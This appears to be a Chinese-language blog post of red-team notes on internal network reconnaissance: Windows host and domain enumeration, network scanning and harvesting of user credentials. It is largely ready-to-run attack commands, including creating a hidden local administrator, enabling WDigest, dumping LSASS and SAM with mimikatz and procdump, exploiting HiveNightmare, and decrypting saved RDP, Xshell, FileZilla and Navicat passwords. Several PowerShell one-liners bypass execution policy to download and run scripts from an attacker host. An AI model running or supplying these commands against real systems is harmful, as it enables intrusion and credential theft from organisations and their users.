内网信息收集笔记

0x00 本机基础信息收集

1、查看当前用户、权限
1
whoami /all
2、查看网络
1
ipconfig /all
3、查看主机路由
1
route print
4、查看操作系统信息
1
2
3
systeminfo
systeminfo | findstr /B /C:"OS name" /C:"OS Version" #查看操作系统及版本
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #查看操作系统及版本
5、查看端口连接信息
1
netstat -ano
6、查看当前会话列表
1
net session
7、查看当前网络共享信息
1
net share
8、查看已连接的网络共享
1
net use
9、查看进程
1
2
3
4
5
6
7
8
tasklist
tasklist /SVC

查询主机进程信息,并过滤出进程的路径, 名称和PID
wmic process get Name,ProcessId,ExecutablePath

查看指定进程的路径信息
wmic process wheree Name="mstdtc.exe" get ExecutablePath
10、查看当前服务信息
1
2
3
4
wmic service get Caption,Name,PathName,StartName,State

查看指定服务的信息,并过滤出服务名称、路径和运行状态
wmic service where Name="backdoor" get Caption, PathName, State
11、查看计划任务
1
schtasks /query /v /fo list
12、查看自启程序
1
wmic startup get Caption,Command,Location,User
13、查看系统补丁安装信息
1
wmic qfe get Caption,CSName,Description,HotFixID,InstalledOn
14、应用安装信息
1
wmic product get Caption,Version
15、查看本地用户/组信息
1
2
3
4
5
6
7
8
9
net user
net user name

查看本地管理员组
net localgroup administrators

在目标主机本地创建一个新的用户并加入本地管理组中
net user <username> <password> /add #创建本地用户
net localgroup administrator <username> /add #将用户加入到本地管理员组
16、查看当前登录的用户
1
query user

0x01 域内基础信息收集

1、判断是否存在域环境
1
net config workstation
2、域用户信息
1
2
3
4
5
6
7
net user /domain

查看指定域用户的详细信息可以执行以下命令
net user <username> /domain

获取所有用户的SID、所属域和用户描述信息
wmic useraccount get Caption,Domain,Description
3、查看域用户组信息
1
2
3
4
5
net group /domain    #列出域内所有用户组
net group "Domain Admins" /domain #查询域内管理员组,得到所有域管理员用户
net group "Domain Computers" /domain #查询域内成员主机组,获得域内所有客户端主机
net group "Domain Users" /domain #查询用户组,得到域用户
net group "Enterprise Admins" /domain #管理员组
域组名称 说明(记住组名就行,里面的用户见名知意)
Domain Admins 域管理员组,包括所有域管理员用户
Domain Computers 域成员主机组,包括加入域的所有工作站和服务器,用户名格式为机器名+$
Domain Controllers 域控制器组,包括域中的所有域控制器 (查询这个用户组可以得到所有域控制器主机名,见下面第5点)
Domain Guests 域来宾组,包括所有的来宾用户
Domain Users 域用户组,包括所有的域用户
Enterprise Admins 企业系统管理员组, 适用于域林范围
4、域内密码策略
1
net accounts /domain
5、查看域控制器列表
1
2
3
4
net group "Domain Controllers" /domain

查询域控制器组,获取所有的域控制器的主机名
nltest /DCLIST:hack-my.com
6、查看主域控制器
1
net time /domain
7、定位域控制器
1
ping DC-1.hack-my.com
8、查看域信任关系
1
nltest /domain_trusts

0x02 内网资源探测

1、发现内网存活主机
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ICMP探测:

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

NetBIOS (网络基本输入/输出系统)协议探测:

.\nbtscan.exe 192.168.1.1/24

UDP探测:

unicornscan -mU 10.10.10.0/24

.\arp-scan.exe -t 192.168.239.0/24 #https://github.com/QbsuranAlang/arp-scan-windows-

Import-Module .\Invoke-ARPScan.ps1 #https://raw.githubusercontent.com/sinmygit/git/master/Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 192.168.92.1/24

powshell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://your-ip:port/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.92.1/24"

SMB探测:

CrackMapExec smb 10.10.10.0/24
.\crackmapexec.exe --service-type smb 192.168.239.0/24
2、内网端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
telnet

telnet <ip> <port>

Nmap

nmap -min-rate 10000 -p- 192.168.1.10
nmap -sT -sV -O -p22,80,3306,8080 192.168.1.10
nmap --script=vuln -p22,80,3306,8080 192.168.1.10

powershell

Invoke-PortScan -StartAddress 192.168.92.1 -EndAddress 192.168.92.30 -ResolveHost -ScanPort

Invoke-PortScan -StartAddress 192.168.92.1 -EndAddress 192.168.92.30 -ResolveHost -ScanPort -Port 80,88,135,139,443,445,3306,3389,8080

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.92.1/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.92.1 -EndAddress 192.168.92.30 -ResolveHost -ScanPort"

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.92.1/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.92.1 -EndAddress 192.168.92.30 -ResolveHost -ScanPort -Port 80,88,135,139,443,445,3306,3389,8080"

3、利用MetaSploite探测内网
1
2
msfconsole
search auxiliary/scanner
4、端口Banner信息
1
2
3
4
5
nc ip port

telnet ip port

nmap -script=banner -Pn 192.168.1.1

0x03 收集用户凭证

1、获取域内单击密码和哈希值

Windows Server 2012及以上版本需要手动开启WDigest功能,并重新登陆或注销后使用

1
2
3
4
5
开启WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
2、在线读取lsass.exe进程内存
1
2
3
4
5
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

#从lsass.exe进程的内存中读取当前已登录用户的凭据(需要管理员身份执行,否则会DebugPrivilege权限获取失败)
#privilege::debug提升至DebugPrivilege权限
#sekurlsa::logonpasswords导出用户凭据
3、离线读取lsass.exe进程内存
1
2
3
4
5
procdump.exe -accepteula -ma lsass.exe lsass.dmp 
#将lsass内存导出到lsass.dmp文件中

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
#导入lsass.dmp内存文件并导出已登录用户凭据
4、在线读取本地Sam文件
1
2
3
4
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# privilege::debug,用于提升至DebugPrivilege权限
# token::elevate,提升至system权限
# lsadump::sam,用于读取SAM文件
5、离线读取本地Sam文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Invoke-NinjaCopy -Path 'C:\Windows\System32\config\SAM' -LocalDestination 'C:\Users\h0cksr\Desktop\SAM'
#本地运行脚本获取

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.239.61:8001/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path 'C:\Windows\System32\config\SAM' -LocalDestination 'C:\SAM'"
#远程下载脚本获取

icacls C:\Windows\System32\config\SAM #在一般用户权限下执行即可, 若是输出"BUILTIN\Users:(I)(RX)"则表示系统易受攻击COPY
#通过HiveNightmare漏洞(CVE-2021-36934)

python3 secretsdump.py -sam SAM-haxx -system SYSTEM-haxx -security SECURITY-haxx LOCALCOPY
#运行Impacket的secretsdump.py导出SAM文件中的哈希值

reg save HKEY_LOCAL_MACHINE\SAM\SAM sam.hive #导出SAM注册表
reg save HKEY_LOCAL_MACHINE\SYSTEM system.hive #导出SYSTEM注册表
#在管理员权限下通过保存注册表的方式导出

mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
#使用mimikatz读取SAM文件内容
6、获取常见应用软件凭据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 一、获取rdp保存的凭证
cmdkey /list #查看当前保存的凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\* #遍历Credentials目录下保存的历史连接凭据数据

# 使用Mimikatz导出RDP凭证
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit #使用mimikatz解析指定的连接凭据

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit #找到与guidMasterKey(GUID)相关联的MasterKey

mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D/masterkey:c33afd208e2f69c975b90546deedc8091c47eab49fb96a9c3092373f276a85dcf90d41e072eb4a105599244876b686c145f5bd2f00ffc12cac2e7faace661733" exit

# 二、Xshell凭证获取
SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang\Xshell\Sessions" #获取Xshell5的账密
SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions" #获取Xshell6的账密COPY
Xshell版本 .xsh文件路径
Xshell5 %USERPROFILE%\Documents\NetSarang\Xshell\Sessions
Xshell6 %USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions
Xshell7 %USERPROFILE%\Documents\NetSarang Computers\7\Xshell\Sessions

Xshell5和6可以通过工具SharpDecryptPwd解密, 除此之外该工具还可以解密NavicateTeamViewerFileZillaWinSCPXmangager系列产品

将SharpDecryptPwd.exe上传到靶机, 执行命令即可获取xshell中保存的全部账号密码

1
SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions"COPY
1
2
# 三、FileZilla凭证获取
SharpDecryptPwd.exe -FileZillaCOPY

FileZilla用于FTP连接, 它会将FTP登录凭据以base64密文的格式保存在%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml文件中, 可以使用SharpDecryptPwd直接一键导出FileZilla保存的凭据

1
2
# 四、Navicat凭证获取
SharpDecryptPwd.exe -NavicatCryptoCOPY
数据库类型 凭据存储路径(注册表)
Mysql HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Server< Connetion Name>
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers< Connetion Name>
MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers< Connetion Name>
SQL SERVER HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers< Connetion Name>
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers< Connetion Name>
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers< Connetion Name>
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers< Connetion Name>

Navicat的注册表中记录了保存密码的连接数据, 包括IP,用户名,密码,连接数据库名,数据库类型等, 其中密码字段是结果可你算法加密后再保存的, 其中Navicat<=11版本和Navicat>=12版本分别使用不同的加密算法(但是这就不需要我们关心了,直接工具一把梭拿到全部连接的账号密码和对应ip就行)

0x04 参考链接

https://www.viewofthai.link


内网信息收集笔记
https://sh1yan.top/2023/01/16/Intranet-information-collection-notes/
作者
shiyan
发布于
2023年1月16日
许可协议